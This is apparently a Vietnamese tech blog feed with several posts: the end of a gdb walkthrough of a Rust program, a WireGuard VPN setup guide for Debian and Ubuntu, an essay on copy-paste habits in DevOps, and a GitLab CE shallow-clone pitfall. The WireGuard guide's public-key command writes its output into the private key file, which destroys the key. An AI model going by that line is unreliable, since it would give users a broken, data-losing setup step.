<span class="n">of</span><span class="w"> </span><span class="n">file</span><span class="w"> </span><span class="o">/</span><span class="n">home</span><span class="o">/</span><span class="n">hvn</span><span class="o">/</span><span class="n">me</span><span class="o">/</span><span class="n">familug</span><span class="o">.</span><span class="n">github</span><span class="o">.</span><span class="n">io</span><span class="o">/</span><span class="n">content</span><span class="o">/</span><span class="n">gdbplay</span><span class="o">/</span><span class="n">target</span><span class="o">/</span><span class="n">debug</span><span class="o">/</span><span class="n">gdbplay</span><span class="o">.</span><span class="w"></span>
<span class="o">...</span><span class="w"></span>
<span class="p">(</span><span class="n">gdb</span><span class="p">)</span><span class="w"> </span><span class="n">list</span><span class="w"></span>
<span class="mi">1</span><span class="w"> </span><span class="n">fn</span><span class="w"> </span><span class="n">main</span><span class="p">()</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="mi">2</span><span class="w"> </span><span class="n">println</span><span class="o">!</span><span class="p">(</span><span class="s2">"Hello, world!"</span><span class="p">);</span><span class="w"></span>
<span class="mi">3</span><span class="w"> </span><span class="n">stack_only</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span><span class="w"></span>
<span class="mi">4</span><span class="w"> </span><span class="n">stack_and_heap</span><span class="p">(</span><span class="mi">2</span><span class="p">);</span><span class="w"></span>
<span class="mi">5</span><span class="w"> </span><span class="p">}</span><span class="w"></span>
<span class="mi">6</span><span class="w"></span>
<span class="mi">7</span><span class="w"> </span><span class="n">fn</span><span class="w"> </span><span class="n">stack_only</span><span class="p">(</span><span class="n">_x</span><span class="p">:</span><span class="w"> </span><span class="n">i32</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="mi">8</span><span class="w"> </span><span class="n">let</span><span class="w"> </span><span class="n">a</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">5</span><span class="p">;</span><span class="w"></span>
<span class="mi">9</span><span class="w"> </span><span class="n">println</span><span class="o">!</span><span class="p">(</span><span class="s2">"{}"</span><span class="p">,</span><span class="w"> </span><span class="n">a</span><span class="p">);</span><span class="w"></span>
<span class="mi">10</span><span class="w"> </span><span class="p">}</span><span class="w"></span>
<span class="p">(</span><span class="n">gdb</span><span class="p">)</span><span class="w"> </span><span class="n">list</span><span class="w"></span>
<span class="mi">11</span><span class="w"></span>
<span class="mi">12</span><span class="w"> </span><span class="n">fn</span><span class="w"> </span><span class="n">stack_and_heap</span><span class="p">(</span><span class="n">_y</span><span class="p">:</span><span class="w"> </span><span class="n">i32</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="mi">13</span><span class="w"> </span><span class="n">let</span><span class="w"> </span><span class="n">b</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">7</span><span class="p">;</span><span class="w"></span>
<span class="mi">14</span><span class="w"> </span><span class="n">let</span><span class="w"> </span><span class="n">p</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">Box</span><span class="p">::</span><span class="n">new</span><span class="p">(</span><span class="mi">9</span><span class="p">);</span><span class="w"></span>
<span class="mi">15</span><span class="w"> </span><span class="n">println</span><span class="o">!</span><span class="p">(</span><span class="s2">"{} {}"</span><span class="p">,</span><span class="w"> </span><span class="n">b</span><span class="p">,</span><span class="w"> </span><span class="n">p</span><span class="p">);</span><span class="w"></span>
<span class="mi">16</span><span class="w"></span>
<span class="mi">17</span><span class="w"> </span><span class="p">}</span><span class="w"></span>
<span class="p">(</span><span class="n">gdb</span><span class="p">)</span><span class="w"> </span><span class="n">b</span><span class="w"> </span><span class="mi">7</span><span class="w"></span>
<span class="n">Breakpoint</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="n">at</span><span class="w"> </span><span class="mh">0x9508</span><span class="p">:</span><span class="w"> </span><span class="n">file</span><span class="w"> </span><span class="n">src</span><span class="o">/</span><span class="n">main</span><span class="o">.</span><span class="n">rs</span><span class="p">,</span><span class="w"> </span><span class="n">line</span><span class="w"> </span><span class="mf">8.</span><span class="w"></span>
<span class="p">(</span><span class="n">gdb</span><span class="p">)</span><span class="w"> </span><span class="n">b</span><span class="w"> </span><span class="mi">9</span><span class="w"></span>
<span class="n">Breakpoint</span><span class="w"> </span><span class="mi">2</span><span class="w"> </span><span class="n">at</span><span class="w"> </span><span class="mh">0x9510</span><span class="p">:</span><span class="w"> </span><span class="n">file</span><span class="w"> </span><span class="n">src</span><span class="o">/</span><span class="n">main</span><span class="o">.</span><span class="n">rs</span><span class="p">,</span><span class="w"> </span><span class="n">line</span><span class="w"> </span><span class="mf">9.</span><span class="w"></span>
<span class="p">(</span><span class="n">gdb</span><span class="p">)</span><span class="w"> </span><span class="n">start</span><span class="w"></span>
<span class="n">Temporary</span><span class="w"> </span><span class="k">breakpoint</span><span class="w"> </span><span class="mi">3</span><span class="w"> </span><span class="n">at</span><span class="w"> </span><span class="mh">0x94a4</span><span class="p">:</span><span class="w"> </span><span class="n">file</span><span class="w"> </span><span class="n">src</span><span class="o">/</span><span class="n">main</span><span class="o">.</span><span class="n">rs</span><span class="p">,</span><span class="w"> </span><span class="n">line</span><span class="w"> </span><span class="mf">2.</span><span class="w"></span>
<span class="n">Starting</span><span class="w"> </span><span class="n">program</span><span class="p">:</span><span class="w"> </span><span class="o">/</span><span class="n">home</span><span class="o">/</span><span class="n">hvn</span><span class="o">/</span><span class="n">me</span><span class="o">/</span><span class="n">familug</span><span class="o">.</span><span class="n">github</span><span class="o">.</span><span class="n">io</span><span class="o">/</span><span class="n">content</span><span class="o">/</span><span class="n">gdbplay</span><span class="o">/</span><span class="n">target</span><span class="o">/</span><span class="n">debug</span><span class="o">/</span><span class="n">gdbplay</span><span class="w"></span>
<span class="p">[</span><span class="n">Thread</span><span class="w"> </span><span class="n">debugging</span><span class="w"> </span><span class="n">using</span><span class="w"> </span><span class="n">libthread_db</span><span class="w"> </span><span class="n">enabled</span><span class="p">]</span><span class="w"></span>
<span class="n">Using</span><span class="w"> </span><span class="n">host</span><span class="w"> </span><span class="n">libthread_db</span><span class="w"> </span><span class="n">library</span><span class="w"> </span><span class="s2">"/lib/x86_64-linux-gnu/libthread_db.so.1"</span><span class="o">.</span><span class="w"></span>
<span class="n">Temporary</span><span class="w"> </span><span class="k">breakpoint</span><span class="w"> </span><span class="mi">3</span><span class="p">,</span><span class="w"> </span><span class="n">gdbplay</span><span class="p">::</span><span class="n">main</span><span class="w"> </span><span class="p">()</span><span class="w"> </span><span class="n">at</span><span class="w"> </span><span class="n">src</span><span class="o">/</span><span class="n">main</span><span class="o">.</span><span class="n">rs</span><span class="p">:</span><span class="mi">2</span><span class="w"></span>
<span class="mi">2</span><span class="w"> </span><span class="n">println</span><span class="o">!</span><span class="p">(</span><span class="s2">"Hello, world!"</span><span class="p">);</span><span class="w"></span>
<span class="p">(</span><span class="n">gdb</span><span class="p">)</span><span class="w"> </span><span class="n">n</span><span class="w"></span>
<span class="n">Hello</span><span class="p">,</span><span class="w"> </span><span class="n">world</span><span class="o">!</span><span class="w"></span>
<span class="mi">3</span><span class="w"> </span><span class="n">stack_only</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span><span class="w"></span>
<span class="p">(</span><span class="n">gdb</span><span class="p">)</span><span class="w"> </span><span class="n">s</span><span class="w"></span>
<span class="n">Breakpoint</span><span class="w"> </span><span class="mi">1</span><span class="p">,</span><span class="w"> </span><span class="n">gdbplay</span><span class="p">::</span><span class="n">stack_only</span><span class="w"> </span><span class="p">(</span><span class="n">_x</span><span class="o">=</span><span class="mi">1</span><span class="p">)</span><span class="w"> </span><span class="n">at</span><span class="w"> </span><span class="n">src</span><span class="o">/</span><span class="n">main</span><span class="o">.</span><span class="n">rs</span><span class="p">:</span><span class="mi">8</span><span class="w"></span>
<span class="mi">8</span><span class="w"> </span><span class="n">let</span><span class="w"> </span><span class="n">a</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">5</span><span class="p">;</span><span class="w"></span>
<span class="p">(</span><span class="n">gdb</span><span class="p">)</span><span class="w"> </span><span class="n">n</span><span class="w"></span>
<span class="n">Breakpoint</span><span class="w"> </span><span class="mi">2</span><span class="p">,</span><span class="w"> </span><span class="n">gdbplay</span><span class="p">::</span><span class="n">stack_only</span><span class="w"> </span><span class="p">(</span><span class="n">_x</span><span class="o">=</span><span class="mi">1</span><span class="p">)</span><span class="w"> </span><span class="n">at</span><span class="w"> </span><span class="n">src</span><span class="o">/</span><span class="n">main</span><span class="o">.</span><span class="n">rs</span><span class="p">:</span><span class="mi">9</span><span class="w"></span>
<span class="mi">9</span><span class="w"> </span><span class="n">println</span><span class="o">!</span><span class="p">(</span><span class="s2">"{}"</span><span class="p">,</span><span class="w"> </span><span class="n">a</span><span class="p">);</span><span class="w"></span>
<span class="p">(</span><span class="n">gdb</span><span class="p">)</span><span class="w"> </span><span class="n">bt</span><span class="w"></span>
<span class="c1">#0 gdbplay::stack_only (_x=1) at src/main.rs:9</span><span class="w"></span>
<span class="c1">#1 0x000055555555d4e3 in gdbplay::main () at src/main.rs:3</span><span class="w"></span>
<span class="p">(</span><span class="n">gdb</span><span class="p">)</span><span class="w"> </span><span class="n">info</span><span class="w"> </span><span class="n">locals</span><span class="w"></span>
<span class="n">a</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">5</span><span class="w"></span>
<span class="p">(</span><span class="n">gdb</span><span class="p">)</span><span class="w"> </span><span class="n">info</span><span class="w"> </span><span class="n">args</span><span class="w"></span>
<span class="n">_x</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">1</span><span class="w"></span>
</code></pre></div>
<p>các biến <code>a</code> hay <code>_x</code> nằm trên stack. Các biến trên stack sẽ tự động được dọn dẹp sau khi hết scope (ở đây là function).</p>
<p>Giờ đổi sang chế độ "TUI", đồ họa trên dòng lệnh, gõ <code>layout next</code></p>
<p><img alt="gdb_tui" src="https://familug.github.io/images/gdb_tui.png"></p>
<p><code>p</code> là một <a href="https://doc.rust-lang.org/book/ch15-00-smart-pointers.html">"smart pointer"</a> trỏ tới địa chỉ bộ nhớ <code>0x55555555a3ad0</code> trên heap. Nếu p là một pointer thông thường như trên C, nó sẽ không tự biến mất khi function kết thúc, và dẫn tới "memleak", lập trình viên phải "free" nó trên code, thì với smart pointer, giá trị 9 mà p trỏ tới sẽ được dọn dẹp khi hết scope (ở đây là function).</p>
<p>Gõ <code>x ten_bien</code> để "examine" hay hiển thị giá trị của biến.
<code>x /d ten_bien</code> sẽ hiển thị ở dạng số nguyên. Xem thêm tại "help x".</p>
<p><code>n</code> - next tiếp chạy tới cuối sẽ thấy:</p>
<div class="highlight"><pre><span></span><code>(gdb) n
[Inferior 1 (process 37385) exited normally]
(gdb) n
The program is not being run.
</code></pre></div>
<h3>Kết luận</h3>
<p>gdb viết tắt các câu lệnh, nhưng khi đã hiểu thì không còn khó.
Happy debugging.</p>
<p>Hết.</p>
<p>HVN at http://pymi.vn and https://www.familug.org.</p>
<p><a href="https://www.familug.org/p/ung-ho.html">Ủng hộ tác giả 🍺</a></p>Cài VPN với WireGuard trên Debian 11 / Ubuntu 22.042022-11-22T00:00:00+07:002022-11-22T00:00:00+07:00hvntag:familug.github.io,2022-11-22:/cai-vpn-voi-wireguard-tren-debian-11-ubuntu-2204.html<p>Tự cài VPN có dễ không? xưa khó lắm nay khác xưa nhiều rồi.</p>
<p><img alt="wireguard" src="https://familug.github.io/images/wireguard.png"></p>
<h2>VPN là gì</h2>
<p>Virtual Private Network (VPN) là tên một công nghệ cho phép mở rộng mạng nội bộ (private network) qua internet, nhờ đó có thể giúp kết nối mạng an toàn và riêng tư …</p><p>Tự cài VPN có dễ không? xưa khó lắm nay khác xưa nhiều rồi.</p>
<p><img alt="wireguard" src="https://familug.github.io/images/wireguard.png"></p>
<h2>VPN là gì</h2>
<p>Virtual Private Network (VPN) là tên một công nghệ cho phép mở rộng mạng nội bộ (private network) qua internet, nhờ đó có thể giúp kết nối mạng an toàn và riêng tư hơn.</p>
<p>Ví dụ khi vào một quán cafe và kết nối tới pymi.vn:</p>
<p>Máy bạn --> Wifi quán cafe --> nhà cung cấp mạng (ví dụ FPT) --> pymi.vn. Trên 3 con đường kết nối đó có thể rình rập nhiều nguy hiểm:</p>
<ul>
<li>hacker ngồi quán cafe và nghe trộm kết nối mạng rồi tấn công tạo trang giả mạo để đánh cắp tài khoản của bạn</li>
<li>mọi kết nối đi qua nhà mạng FPT <strong>có thể</strong> được ghi lại, cũng <strong>có thể</strong> bị can thiệp.</li>
<li>trang pymi.vn có IP của bạn có thể truy ra vị trí bạn truy cập.</li>
<li>rất nhiều nữa.</li>
</ul>
<p>Sử dụng VPN, mô hình thay đổi thành</p>
<p>Máy bạn --> wifi quán cafe --> nhà cung cấp mạng --> VPN --> pymi.vn</p>
<ul>
<li>hacker ngồi quán cafe chỉ có thể biết bạn truy cập tới IP của VPN</li>
<li>nhà cung cấp mạng chỉ có thể biết bạn truy cập tới IP của VPN</li>
<li>trang pymi.vn chỉ có IP của VPN server nên chỉ biết vị trí của server, không phải vị trí nhà bạn.</li>
</ul>
<p>Vài nhược điểm:</p>
<ul>
<li>do thông qua thêm 1 hop (điểm) nên kết nối có thể chậm hơn một chút.</li>
<li>do phải dùng thêm 1 phần mềm nên trên máy di động sẽ tốn thêm chút pin</li>
<li>vì các website sẽ thấy IP của VPN server nên biết bạn đang dùng VPN và có thể sẽ chặn, ví dụ một vài sàn crypto (không phải tất cả).</li>
</ul>
<p>Chú ý: VPN không giúp bạn trở nên "ẩn danh như hacker" trên mạng.</p>
<p>Cài đặt VPN vốn không phải chuyện đơn giản, vậy nên các nhà cung cấp VPN luôn ăn nên làm ra, và ngày càng nhiều:</p>
<ul>
<li>1.1.1.1 của Cloudflare</li>
<li><a href="https://www.mozilla.org/en-US/products/vpn/more/what-is-a-vpn/">Mozilla VPN</a></li>
<li>ProtonVPN</li>
<li>search ra cả đống</li>
</ul>
<p>Người tự cài VPN server, thường có 2 lựa chọn:</p>
<ul>
<li>IPSec: rất rất phức tạp</li>
<li>OpenVPN: đơn giản hơn, rất phổ biến, nhưng vẫn khá phức tạp</li>
</ul>
<p>Cho đến khoảng 2020, khi xuất hiện 1 phần mềm siêu mới, rất xịn với tên <a href="https://www.wireguard.com/">WireGuard</a>, cài đặt cũng dễ dàng, đã làm việc setup VPN đơn giản hơn bao giờ hết.</p>
<p>Về chất lượng/độ bảo mật thì đủ tin cậy khi:</p>
<ul>
<li>wireguard được merge code vào <a href="https://github.com/torvalds/linux/commit/bd2463ac7d7ec51d432f23bf0e893fb371a908cd">Linux kernel 5.6</a></li>
<li>wireguard được <a href="https://lists.zx2c4.com/pipermail/wireguard/2020-June/005588.html">merge</a> code vào <a href="/tags.html#openbsd-ref">OpenBSD - hệ điều hành nổi tiếng về bảo mật (sản sinh ra OpenSSH)</a>.</li>
</ul>
<p>PS: mọi câu lệnh trong bài này đều chạy với user root.</p>
<h2>Cài đặt wireguard</h2>
<p>Server dùng Debian 11 hay Ubuntu 22.04</p>
<div class="highlight"><pre><span></span><code><span class="n">sudo</span><span class="w"> </span><span class="n">apt</span><span class="w"> </span><span class="n">install</span><span class="w"> </span><span class="n">wireguard</span><span class="w"> </span><span class="n">unbound</span><span class="w"></span>
</code></pre></div>
<h2>Mô hình</h2>
<p>Để setup VPN gồm 2 bước:
- setup kết nối từ máy mình (gọi là peer) tới server (gọi là endpoint)
- config server để cho phép VPN kết nối ra ngoài internet</p>
<h2>Cấu hình peer <-> server</h2>
<p>Wireguard có 2 câu lệnh, hoạt động khác nhau:</p>
<ul>
<li>wg</li>
<li>wg-quick</li>
</ul>
<p>ở đây sẽ dùng wg-quick để bật tắt VPN vì đơn giản hơn.</p>
<p>Sinh private & public key:</p>
<div class="highlight"><pre><span></span><code><span class="p">#</span><span class="w"> </span><span class="n">wg</span><span class="w"> </span><span class="n">genkey</span><span class="w"> </span><span class="o">></span><span class="w"> </span><span class="o">/</span><span class="n">etc</span><span class="o">/</span><span class="n">wireguard</span><span class="o">/</span><span class="n">private</span><span class="w"></span>
<span class="p">#</span><span class="w"> </span><span class="n">chmod</span><span class="w"> </span><span class="mh">400</span><span class="w"> </span><span class="o">/</span><span class="n">etc</span><span class="o">/</span><span class="n">wireguard</span><span class="o">/</span><span class="n">private</span><span class="w"></span>
<span class="p">#</span><span class="w"> </span><span class="n">wg</span><span class="w"> </span><span class="n">pubkey</span><span class="w"> </span><span class="o"><</span><span class="w"> </span><span class="o">/</span><span class="n">etc</span><span class="o">/</span><span class="n">wireguard</span><span class="o">/</span><span class="n">private</span><span class="w"> </span><span class="o">></span><span class="w"> </span><span class="o">/</span><span class="n">etc</span><span class="o">/</span><span class="n">wireguard</span><span class="o">/</span><span class="n">private</span><span class="w"></span>
</code></pre></div>
<p>Viết file config /etc/wireguard/wg0.conf , tên file wg0.conf sẽ dùng cho network interface tên là wg0.
Gõ man wg-quick rồi copy config mẫu.</p>
<div class="highlight"><pre><span></span><code><span class="k">[Interface]</span><span class="w"></span>
<span class="na">Address</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">10.10.0.1/16</span><span class="w"></span>
<span class="na">PrivateKey</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">THAY_PRIVATE_KEY_VAO_DAY</span><span class="w"></span>
<span class="na">ListenPort</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">51820</span><span class="w"></span>
<span class="k">[Peer]</span><span class="w"></span>
<span class="na">PublicKey</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">THAY_PUBKEY_PEER1_VAO_DAY</span><span class="w"></span>
<span class="na">AllowedIPs</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">10.10.0.2/32</span><span class="w"></span>
<span class="c1"># [Peer]</span><span class="w"></span>
<span class="c1"># PublicKey = THAY_PUBKEY_PEER1_VAO_DAY</span><span class="w"></span>
<span class="c1"># AllowedIPs = 10.10.0.3/32</span><span class="w"></span>
</code></pre></div>
<p>Sau đó bật wireguard: <code>sudo wg-quick up wg0</code></p>
<p>Address là địa chỉ IP gán cho interface của server, ví dụ này chọn private network : 10.10.0.1/16, các peer khác sẽ có IP tùy ý trong 10.10.0.2 -> 10.10.xx.yy</p>
<p>Gõ wg để xem public key và trạng thái kết nối của các peer.</p>
<p>Gõ <code>ip ad | grep inet</code> để lấy public IP của server, dùng để config peer.</p>
<p>Trên máy peer, làm tương tự các bước sinh private/public key rồi gõ config vào /etc/wireguard/wg0.conf</p>
<div class="highlight"><pre><span></span><code><span class="k">[Interface]</span><span class="w"></span>
<span class="na">Address</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">10.10.0.2/32</span><span class="w"></span>
<span class="na">PrivateKey</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">PRIVATE_KEY_CUA_PEER</span><span class="w"></span>
<span class="k">[Peer]</span><span class="w"></span>
<span class="na">PublicKey</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">PUBLIC_KEY_CUA_SERVER</span><span class="w"></span>
<span class="na">Endpoint</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">PUBLIC_IP_CUA_SERVER:51820</span><span class="w"></span>
<span class="na">AllowedIPs</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">0.0.0.0/0</span><span class="w"></span>
</code></pre></div>
<p>rồi bật:</p>
<div class="highlight"><pre><span></span><code>sudo wg-quick up wg0
</code></pre></div>
<p>Tới đây nếu kết nối thành công, khi gõ wg ở server sẽ thấy:</p>
<div class="highlight"><pre><span></span><code># wg
interface: wg0
public key: serverpubkey
private key: (hidden)
listening port: 51820
peer: pXXXvEXXXX=
endpoint: XXXX:57226
allowed ips: 10.10.0.2/32
latest handshake: 23 hours, 14 minutes, 44 seconds ago
transfer: 512.48 KiB received, 824.25 KiB sent
# ip ad
...
4: wg0: <POINTOPOINT,NOARP,UP,LOWER_UP> mtu 1420 qdisc noqueue state UNKNOWN group default qlen 1000
link/none
inet 10.10.0.1/16 scope global wg0
valid_lft forever preferred_lft forever
</code></pre></div>
<p>Ở peer có thể ping server: ping 10.10.0.1</p>
<p>Trên cả 2 máy (ở đây peer ví dụ là 1 máy Ubuntu), gõ</p>
<div class="highlight"><pre><span></span><code><span class="n">systemctl</span><span class="w"> </span><span class="n">enable</span><span class="w"> </span><span class="n">wg</span><span class="o">-</span><span class="n">quick</span><span class="nv">@wg0</span><span class="w"></span>
</code></pre></div>
<p>để tự bật VPN khi bật máy.</p>
<h2>Config để kết nối internet qua VPN</h2>
<p>Sau các bước trên, mới chỉ kết nối tới VPN, chứ chưa kết nối ra internet được.</p>
<p>Để kết nối ra internet, phía server phải config cho phép "forward" các network packet, và phải config firewall để đổi IP source của máy peer thành của VPN.</p>
<p>Mở file /etc/sysctl.d/99-sysctl.conf</p>
<div class="highlight"><pre><span></span><code>#<span class="w"> </span><span class="nv">Uncomment</span><span class="w"> </span><span class="nv">the</span><span class="w"> </span><span class="k">next</span><span class="w"> </span><span class="nv">line</span><span class="w"> </span><span class="nv">to</span><span class="w"> </span><span class="nv">enable</span><span class="w"> </span><span class="nv">packet</span><span class="w"> </span><span class="nv">forwarding</span><span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="nv">IPv4</span><span class="w"></span>
<span class="nv">net</span>.<span class="nv">ipv4</span>.<span class="nv">ip_forward</span><span class="o">=</span><span class="mi">1</span><span class="w"></span>
#<span class="w"> </span><span class="nv">Uncomment</span><span class="w"> </span><span class="nv">the</span><span class="w"> </span><span class="k">next</span><span class="w"> </span><span class="nv">line</span><span class="w"> </span><span class="nv">to</span><span class="w"> </span><span class="nv">enable</span><span class="w"> </span><span class="nv">packet</span><span class="w"> </span><span class="nv">forwarding</span><span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="nv">IPv6</span><span class="w"></span>
<span class="nv">net</span>.<span class="nv">ipv6</span>.<span class="nv">conf</span>.<span class="nv">all</span>.<span class="nv">forwarding</span><span class="o">=</span><span class="mi">1</span><span class="w"></span>
</code></pre></div>
<p>Rồi gõ <code>sysctl -p</code></p>
<p>Tạo /etc/rc.local</p>
<div class="highlight"><pre><span></span><code><span class="ch">#!/bin/sh</span>
iptables -t nat -A POSTROUTING -s <span class="m">10</span>.10.0.0/16 -o eth0 -j MASQUERADE
</code></pre></div>
<p>Rồi <code>chmod a+x /etc/rc.local; /etc/rc.local</code></p>
<p>Tới đây mọi thứ đã xong có thể truy cập internet qua VPN, reboot lại server để thực hiện bài test khi server mất điện trong tương lai bật lên vẫn chạy ngon lành cành mít.</p>
<h3>Kiểm tra DNS leak</h3>
<p>Khi kết nối tới VPN, người dùng không mong muốn người khác biết mình truy cập trang nào, nhưng nếu config DNS không đúng sẽ bị lộ thông tin (DNS leak).
Truy cập vào trang <a href="https://www.dnsleaktest.com/">https://www.dnsleaktest.com/</a> để test xem có bị rò rỉ DNS không. Nếu server ở nước ngoài, kết quả cũng hiện ở nước ngoài là ok.</p>
<p>PS: wireguard có phần mềm trên Android, iOS, Windows, MacOS và tất nhiên Linux như Debian Ubuntu.</p>
<h3>Kết luận</h3>
<p>Tổng cộng thao tác</p>
<ul>
<li>server: 1 config 1 rc 1 sysctl là 3 file, mỗi file 2-4 dòng, gõ 2 câu lệnh</li>
<li>peer: 1 config 1 rc, 2 câu lệnh</li>
</ul>
<p>Setup VPN chưa bao giờ dễ dàng đến thế!</p>
<h2>Tham khảo</h2>
<ul>
<li><a href="https://www.wireguard.com/quickstart/">https://www.wireguard.com/quickstart/</a></li>
<li><a href="https://ubuntu.com/server/docs/wireguard-vpn-defaultgw">https://ubuntu.com/server/docs/wireguard-vpn-defaultgw</a></li>
</ul>
<p>Happy safe surfing.</p>
<p>Hết.</p>
<p>HVN at http://pymi.vn and https://www.familug.org.</p>
<p><a href="https://www.familug.org/p/ung-ho.html">Ủng hộ tác giả 🍺</a></p>Cái giá của 2 giờ đầu - hơn 60k2022-11-07T00:00:00+07:002022-11-07T00:00:00+07:00hvntag:familug.github.io,2022-11-07:/cai-gia-cua-2-gio-dau-hon-60k.html<p><img alt="2h" src="https://familug.github.io/images/2h.png"></p>
<p>Khi đi làm, giữa muôn vàn công nghệ phức tạp xung quanh, một người làm đủ "cứng" có thể ứng biến dễ dàng:</p>
<ul>
<li>muốn tạo 1 máy ảo và cấu hình mạng dùng <strong>terraform</strong>? copy file .tf đã tồn tại và sửa một chút cho phù hợp yêu cầu.</li>
<li>muốn …</li></ul><p><img alt="2h" src="https://familug.github.io/images/2h.png"></p>
<p>Khi đi làm, giữa muôn vàn công nghệ phức tạp xung quanh, một người làm đủ "cứng" có thể ứng biến dễ dàng:</p>
<ul>
<li>muốn tạo 1 máy ảo và cấu hình mạng dùng <strong>terraform</strong>? copy file .tf đã tồn tại và sửa một chút cho phù hợp yêu cầu.</li>
<li>muốn deploy 1 service với <strong>Salt/Ansible</strong>? copy các file yaml/role có sẵn rồi sửa một chút cho phù hợp với yêu cầu.</li>
<li>muốn deploy 1 service trên <strong>Kubernetes</strong>? copy file .yaml có sẵn trong "mono repo" của công ty rồi sửa lại chút chút cho phù hợp yêu cầu.</li>
<li>muốn thêm 1 endpoint cho website <strong>Django/flask</strong>? copy function đã có trong cùng file và sửa lại một chút cho hợp với yêu cầu.</li>
<li>muốn thêm 1 alert trên <strong>Prometheus/Alertmanager</strong>? copy vài dòng trong file yaml cấu hình rồi sửa lại một chút cho phù hợp yêu cầu.
...</li>
</ul>
<p>Mất bao lâu để "làm chủ", "master" các công nghệ bôi đậm nói trên? Không hề ít thời gian và công sức! Vậy làm sao mọi lập trình viên/devops ngày nay đều yêu cầu phải biết <em>cơ bản</em> những thứ này? làm sao họ làm được? đi đường tắt: copy/paste.</p>
<h3>Copy/paste trap</h3>
<p>Khác với các sinh viên, có cả năm để học 1 môn, hay các "junior" có cả tháng tìm hiểu và "học việc", thì những người làm lâu năm được kỳ vọng nắm được những thứ trên trong vài ngày/tuần, và khi copy/paste + 1 chút search có thể hoàn thành công việc rồi lại chuyển qua thứ khác, khiến họ dễ mắc phải bẫy "YAML/TF engineer" - hiểu nôm na và biết copy/paste.</p>
<h3>Local knowledge</h3>
<p>Nếu làm công ty nhỏ, 1 người có thời gian xây dựng cả hệ thống từ đầu, làm những công việc như:</p>
<ul>
<li>tạo 1 project từ đầu "manage.py startproject"</li>
<li>setup CI/CD, config GitLab/Jenkins, etc...</li>
<li>cài đặt terraform + terraform enterprise/S3 state management</li>
<li>tạo cloud Virtual Network/VPC, chia subnet, config route...</li>
<li>setup Kubernetes cluster, config ServiceAccount/Role, ...</li>
<li>...</li>
</ul>
<p>Thì ở các công ty lớn, mỗi người chỉ nắm 1 phần nhỏ, với các hệ thống đã dựng sẵn, và nếu không có kinh nghiệm từ trước, thì họ chỉ có kinh nghiệm "từ ấy".</p>
<h3>Rocket 2 giờ</h3>
<p>Giải pháp để tránh bẫy hiểu biết cục bộ hay "get shit done" này là dành 2 giờ đầu (hay 4, hay nhiều hơn, trong phạm vi có thể) để hiểu từng công nghệ, tự setup theo tutorial của công nghệ ấy. Việc đầu tư chút thời gian này sẽ có giá trị rất cao về sau... đặc biệt là trong các cuộc phỏng vấn.</p>
<p>Chuyện này chẳng có gì mới, bài học kinh điển của những người "tiết kiệm thời gian", không đọc kỹ document, để rồi mất hàng tháng/tuần/ngày để debug về sau.</p>
<h3>Kết luận</h3>
<p>Giành vài giờ tự setup từ đầu theo tutorial trước khi dùng 1 công nghệ sẽ mang lại lợi ích lớn về sau.</p>
<p>Hết.</p>
<p>HVN at http://pymi.vn and https://www.familug.org.</p>
<p><a href="https://www.familug.org/p/ung-ho.html">Ủng hộ tác giả 🍺</a></p>GitLab CE tự host không như GitLab.com2022-10-30T00:00:00+07:002022-10-30T00:00:00+07:00hvntag:familug.github.io,2022-10-30:/gitlab-ce-tu-host-khong-nhu-gitlabcom.html<p>Một đoạn code đơn giản, đã chạy ít nhất 5 năm trên gitlab.com, khi mang về gitlab CE tự host, dùng cùng gitlab CI runner, chạy CICD job lại fail.</p>
<div class="highlight"><pre><span></span><code>$ git diff --name-only origin/master...HEAD
...
fatal: ambiguous argument <span class="s1">'origin/master...HEAD'</span>: unknown revision or path not <span class="k">in</span> the …</code></pre></div><p>Một đoạn code đơn giản, đã chạy ít nhất 5 năm trên gitlab.com, khi mang về gitlab CE tự host, dùng cùng gitlab CI runner, chạy CICD job lại fail.</p>
<div class="highlight"><pre><span></span><code>$ git diff --name-only origin/master...HEAD
...
fatal: ambiguous argument <span class="s1">'origin/master...HEAD'</span>: unknown revision or path not <span class="k">in</span> the working tree.
Use <span class="s1">'--'</span> to separate paths from revisions, like this:
<span class="s1">'git <command> [<revision>...] -- [<file>...]'</span>
...
</code></pre></div>
<p>Không có origin/master, kể cả master cũng không có.</p>
<p><img alt="img" src="https://images.unsplash.com/photo-1572514619891-39295dda66d4?ixlib=rb-4.0.3&dl=abdulaziz-alfawzan-8EOSmlCZfzY-unsplash.jpg&w=640&q=80&fm=jpg&crop=entropy&cs=tinysrgb"></p>
<p>Photo by <a href="https://unsplash.com/@azf93?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText">Abdulaziz Alfawzan</a> on <a href="https://unsplash.com/s/photos/alchemist?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText">Unsplash</a></p>
<p>Hóa ra bên trên output của GitLab CI job có 1 dòng</p>
<div class="highlight"><pre><span></span><code>Fetching changes with git depth set to 20...
</code></pre></div>
<p>Config trên <code>GitLab > CICD Settings</code> của project, mặc định sau khi cài GitLab CE 15.4.2, giá trị <code>Git shallow clone</code> là 20.</p>
<p>Trên GitLab.com, giá trị này mặc định là không set (blank).</p>
